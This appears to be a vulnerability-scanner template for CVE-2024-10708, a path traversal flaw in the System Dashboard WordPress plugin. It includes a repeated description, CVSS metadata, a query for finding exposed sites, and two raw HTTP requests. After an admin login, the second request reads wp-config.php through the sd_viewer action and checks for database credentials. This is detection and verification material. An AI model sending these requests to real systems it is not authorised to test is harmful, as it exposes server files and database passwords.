Description
The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server
The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server
id: CVE-2024-10708
info:
name: System Dashboard < 2.8.15 - Admin+ Path Traversal
author: 0x_Akoko
severity: medium
description: |
The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server
impact: |
Authenticated administrators can exploit path traversal through the filename parameter in the sd_viewer action to read arbitrary server files including wp-config.php, exposing database credentials and sensitive configuration data.
remediation: |
Fixed in 2.8.15
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-10708
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/system-dashboard/system-dashboard-103-local-file-inclusion
- https://wpscan.com/vulnerability/61d750a5-8c2c-4c94-a1a9-6a254c2a0d03/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
cvss-score: 4.9
cve-id: CVE-2024-10708
cwe-id: CWE-22
epss-score: 0.02058
epss-percentile: 0.80343
cpe: cpe:2.3:a:bowo:system_dashboard:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: bowo
product: system_dashboard
framework: wordpress
fofa-query: body="/wp-content/plugins/system-dashboard/"
tags: cve,cve2024,wpscan,wordpress,wp-plugin,lfi,auth,system-dashboard,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=sd_viewer&filename=/wp-config.php&load_plugins[]=system-dashboard/system-dashboard.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450220268c50b9453c2fb3a3d74dd6b9d8a49582e92b2f122dc9a2e8f51d3782f231360221008593ea21e57855f97fc4d4a618ddf62ce6c7738af782cf93c1d7a10dfd3f15e7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.